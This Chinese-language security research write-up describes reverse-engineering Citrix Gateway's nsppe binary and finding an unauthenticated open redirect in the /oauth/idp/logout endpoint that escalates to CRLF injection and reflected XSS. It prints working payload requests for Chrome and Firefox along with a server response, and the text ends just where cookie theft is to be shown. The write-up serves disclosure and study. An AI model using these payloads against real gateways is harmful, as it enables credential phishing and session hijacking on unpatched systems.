背景介绍:
Citrix Gateway是一种“一体化”网络设备,它结合了负载均衡器、防火墙、VPN等。国外白帽团队针对VPN组件进行研究,快速搜索得到了大约50,000个Citrix Gateway实例可公开访问,因此,即使是像跨站脚本这样的小问题也会产生潜在的巨大影响。
在研究过程中,他们发现了一个开放的重定向漏洞,该漏洞无需身份验证即可被利用,如果Citrix Gateway部署在这样的配置中,甚至还能将其转移到CRLF注入中,从而导致XSS或潜在的缓存中毒。在这篇文章之前,他们对一百个Citrix Gateway实例进行了快速扫描,发现仍有超过一半的实例未修补。
了解Citrix Gateway:
Citrix Gateway是FreeBSD的衍生产品,包含几个扩展,包括一个自定义网络堆栈,应用程序的重要部分(就包括这个网络堆栈)被打包到一个叫做Netscaler Packet Processing Engine(nsppe)的东西中。
提前不知道这一点使得逆向最初有点令人困惑,因为常用技术无法按预期工作。例如,由于目标是 Web 服务,因此一个简单的起点是找到正在侦听端口的进程,然后开始逆向,但是如果我们运行 sockstat (一个类似于FreeBSD的实用程序 netstat ),我们会得到以下结果:
root@ns# sockstat -4 -l
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS
nsmonitor nsumond 831 6 tcp4 127.0.0.1:3013 *:*
root snmpd 615 10 tcp4 127.0.0.1:3335 *:*
root snmpd 615 20 udp4 192.168.1.90:161 *:*
root snmpd 615 21 udp4 127.0.0.1:161 *:*
root nscertforg 613 3 tcp4 127.0.0.1:15555 *:*
root aslearn 611 11 tcp4 127.0.0.1:3020 *:*
root iked 607 6 udp4 192.168.1.90:500 *:*
root iked 607 7 udp4 127.0.0.1:500 *:*
root iked 607 8 udp4 192.168.1.90:4500 *:*
root iked 607 9 udp4 127.0.0.1:4500 *:*
root iked 607 10 tcp4 127.0.0.1:8888 *:*
root nsaaad 602 3 tcp4 127.0.0.1:8766 *:*
root nskrb 598 3 tcp4 127.0.0.1:8788 *:*
root php 543 3 tcp4 127.0.0.1:9999 *:*
root imi 529 5 tcp4 *:4001 *:*
root imi 529 6 tcp4 127.0.0.1:3001 *:*
root nsconfigd 516 10 tcp4 *:3010 *:*
root nsclusterd 480 5 tcp4 127.0.0.1:7001 *:*
root nsclusterd 480 6 tcp4 127.0.0.1:7002 *:*
root nsclusterd 480 7 tcp4 127.0.0.1:7003 *:*
root nsclusterd 480 8 udp4 *:* *:*
root nsaggregat 478 3 tcp4 127.0.0.1:5555 *:*
root nsmap 476 5 tcp4 127.0.0.1:3014 *:*
nobody httpd 284 4 tcp4 *:80 *:*
nobody httpd 284 5 tcp4 127.0.0.1:81 *:*
nobody httpd 283 4 tcp4 *:80 *:*
nobody httpd 283 5 tcp4 127.0.0.1:81 *:*
nobody httpd 282 4 tcp4 *:80 *:*
nobody httpd 282 5 tcp4 127.0.0.1:81 *:*
nobody httpd 281 4 tcp4 *:80 *:*
nobody httpd 281 5 tcp4 127.0.0.1:81 *:*
nobody httpd 280 4 tcp4 *:80 *:*
nobody httpd 280 5 tcp4 127.0.0.1:81 *:*
root sshd 213 4 tcp4 *:22 *:*
root httpd 207 4 tcp4 *:80 *:*
root httpd 207 5 tcp4 127.0.0.1:81 *:*
root syslogd 197 6 udp4 127.0.0.1:514 *:*
请注意,我们正在寻找的 Citrix Gateway 服务是在端口 443 上访问的,该端口根本没有出现在上面的列表中,由于 Citrix Gateway 使用了自己的网络堆栈,因此它不一定会像普通 FreeBSD 安装那样填充 sockstat 等工具使用的结构。
通过查看文档和在线搜索,确实发现如果退出 bash shell并进入提供的Citrix Gateway命令shell,可以运行一些命令来获得其它信息。
> show ns connectiontable -Listen
NAME IP PORT SVCTYPE Traffic Domain
INTERNAL 127.0.0.1 0 ROUTE 0
INTERNAL 192.168.1.90 0 TCP 0
INTERNAL 192.168.1.90 0 ANY 0
INTERNAL fe80::20c:29ff:feae:24c2 0 TCP 0
INTERNAL fe80::20c:29ff:feae:24c2 0 ANY 0
INTERNAL ::1 0 ROUTE 0
INTERNAL 0.0.0.0 520 RIP 0
INTERNAL 127.0.0.1 5000 RPCSVR 0
INTERNAL 192.168.1.90 520 RIP 0
INTERNAL 192.168.1.90 21 FTP 0
INTERNAL fe80::20c:29ff:feae:24c2 21 FTP 0
INTERNAL 192.168.1.90 161 SNMP 0
INTERNAL fe80::20c:29ff:feae:24c2 4001 TCP 0
INTERNAL fe80::20c:29ff:feae:24c2 161 SNMP 0
INTERNAL 192.168.1.90 179 ANY 0
ns_int_ulf 127.0.0.2 5557 0
ns_int_tcp 127.0.0.2 53 DNS_TCP 0
ns_int_nam 127.0.0.2 53 DNS 0
INTERNAL 192.168.1.91 443 UNKNOWN 0
Gateway 192.168.1.91 443 SSL 0
nshttps-12 192.168.1.90 443 SSL 0
然而,这仍然没有获得太多线索,在该阶段,团队感到有点失落,由于没有太多其它事情可做,他们便开始搜索有关Citrix Gateway和NetScaler操作系统体系结构的手册或文档,以尝试了解该设备的工作原理,在浏览了许多泄露的幻灯片和非官方的博客文章后,他们对Citrix Gateway的工作原理有了大致的了解,至少明确知道审计 nsppe 是入手的位置。
在 nsppe 二进制文件中与网络堆栈捆绑在一起的网关组件的一个有趣的怪癖是,任何调试都必须通过控制台完成,你可以想想为什么会出现这种情况?在SSH会话中设置断点会切断连接,因为在进程暂停时,不会再有支持SSH会话的数据包处理发生,因此,大部分的分析是通过阅读代码而不是通过交互式调试进行的。
Ghidra 的枚举冒险:
团队在 netscaler/nsppe 上找到了该二进制文件,它大得令人沮丧,有 42MB,他们使用 Ghidra 对其进行反编译,但不幸的是,许多关键函数的反编译失败了,在将“编辑”->“工具选项”->“反编译器”下的反编译器资源增加以下内容后,他们取得了更大的成功。
Cache Size (Functions): 2048
Decompiler Max-Payload (Mbytes): 512
Decompiler Timeout (seconds): 900
Max Instructions per Function: 3000000
一小时左右后,一切被成功反编译,将每个函数保存到一个.c文件后,获得了约300MB的代码可以审核!确实有点多,但至少现在可以开始进一步审核了。
他们继续对代码进行 grep 查找任何类似于 URL 的字符串(ASCII 文本,用斜杠分隔),他们将其与浏览自己的 Citrix Gateway 实例和在线实例结合起来,因为不同的配置和版本会产生略有不同的登录页面,最后,他们还阅读了 Citrix 的配置文档,结合这三种手段,他们获得了一个可供枚举且大小适中的端点列表。
他们浏览了列表中的每一个端点,并尝试用Burp探测它,看看Citrix Gateway是否真的会响应,如果有响应,那么又是如何响应的,有些端点起作用了,有些却没有,他们在代码中搜索了所访问的端点引用,或者在响应中看到的字符串。例如,如果一个端点重定向到/vpn/tmlogout.html,那么就搜索代码中的/vpn/tmlogout.html。
他们最终发现的一个功能是 ns_vpn_process_unauthenticated_request ,正如从名称中猜到的那样,许多端点都将带回到这个函数,事实上,它被命名为“unauthenticated”是令人兴奋的,因为团队正是要寻找此类预身份验证漏洞。
到目前为止,一直面临的一个大问题是,他们并不清楚路径路由是如何执行的,可以在二进制文件中看到很多 URL,但大多数都在日志消息或响应中,例如包含 URL 的 XML 响应的硬编码字符串,在深入研究 ns_vpn_process_unauthenticated_request 时,他们意识到 Ghidra 未能识别许多编译器优化的字符串比较,在 ns_vpn_process_unauthenticated_request 中,他们发现了以下模式的许多实例。
if ((((ulong)*(undefined8 *******)pBVar3 | 0x2020202020202020) == 0x687475612f666e2f) &&
(((ulong)(pBVar3->RR).d | 0x2020202020202020) == 0x657774726174732f)) {
bVar48 = (*(ulong *)&(pBVar3->RR).top | 0x2020202020202020) != 0x6f642e7765697662;
}
if (!bVar48) {
uVar37 = ns_aaa_start_webview_for_authv3((long)local_50,(long)local_48);
pBVar39 = (BN_MONT_CTX *)(uVar37 & 0xffffffff);
goto LAB_0073f539;
}
一个带有几个比较的if语句,其中每个字节都与0x20进行异或,然后是某种响应处理程序,在上面的例子中,ns_aaa_start_webview_for_authv3停在十六进制比较值上的Ghidra会帮助显示char[]表示,对于上述情况,有以下三个值。
0x687475612f666e2f -> htua/fn/
0x657774726174732f -> ewtrats/
0x6f642e7765697662 -> od.weivb
如果进行字节反转,就会得到:
0x687475612f666e2f -> /nf/auth
0x657774726174732f -> /startwe
0x6f642e7765697662 -> bview.do
终于弄清楚了路径路由是如何执行的,以及为什么它很难被搜索到,编译器将这些短字符串比较内联到几个相等性检查中,而不是调用单独的函数, | 0x20 模式是一种将输入小写的小技巧,小写ASCII字母比大写字母提前32字节(0x20),与 0x20 进行“或”运算是将任何大写字母转换为小写的简单方法,同时可以保持现有的小写字母相同。
查找跨站点脚本:
接下来就能够枚举发现更多未经身份验证的端点,不用做太多的搜索来找出处理它们的代码在哪里,比如发现一个端点是 /oauth/idp/logout ,那么查看路由代码,在ns_vpn_process_unauthenticated_request 中就有以下内容 :
if (((((ulong)*(undefined8 *******)pBVar3 | 0x2020202020202020) == 0x692f687475616f2f)
&& (((ulong)(pBVar3->RR).d | 0x2020202020202020) == 0x756f676f6c2f7064)) &&
((*(byte *)&(pBVar3->RR).top | 0x20) == 0x74)) {
uVar37 = ns_aaa_oauth_fetch_logout_url(0,(long)pBVar3,(uint)uVar8);
vpn_location_url_len = (int)uVar37;
if (vpn_location_url_len < 1) {
vpn_location_url = "/vpn/tmlogout.html";
vpn_location_url_len = 0x12;
uVar14 = 0x880002;
}
else {
vpn_location_url = (char *)tmpbuf512;
uVar14 = 0x880002;
}
goto LAB_0073da38;
}
/vpn/tmlogout.html 就是一直看到 Location 的响应头,在上面的代码中,它看起来像是默认值,被设置为 tmpbuf512 ,深入研究反编译输出, ns_aaa_oauth_fetch_logout_url 中发现了以下有用的日志消息,missing post_logout_redirect_uri 的部分代码引起了团队的注意。
...
if (0x484 < uVar2) {
__format = "%s : OauthIDP logout request failed to extract redirect URI: missing post_logout_redirect_uri %.*s for %.*s";
LAB_0061f124:
uVar2 = snprintf(large_auditlog_message,0x3fff,__format,"ns_aaa_oauth_fetch_logout_url",
(ulong)param_3,param_2,uVar3,lVar5);
goto LAB_0061f13e;
}
...
在Burp中使用这个端点时,确定了查询参数 post_logout_redirect_uri ,考虑到参数的名称以及对该函数的了解,它似乎是一个很好的开放重定向漏洞的候选者。
正如分析中看到的那样,仔细检查CRLF注入的参数是明智的,而且也能够将该转换为反射型XSS攻击,通过在开始处插入两个换行符( %0d%0a%0d%0a )来提前结束HTTP头就能够插入HTML内容。
GET /oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1
Host: 192.168.1.91
HTTP/1.1 302 Object Moved
Location:
<script>alert(1)</script>
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 0
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
在Chrome中,会直接弹窗,但在Firefox处理空白Location 头的方式略有不同。Firefox的Payload是:
ws://localhost/x%0D%0A%0D%0A<script>alert(1)</script>
漏洞影响:
利用该漏洞,可以将用户轻松重定向到 Citrix Gateway 的钓鱼页面,以窃取用户凭据,或者可以在受害者的浏览器中执行任意JavaScript,Citrix Gateway似乎对会话Cookie相当宽松, HttpOnly 很少设置,因此,窃取会话Cookie 也非常简单,如下所示。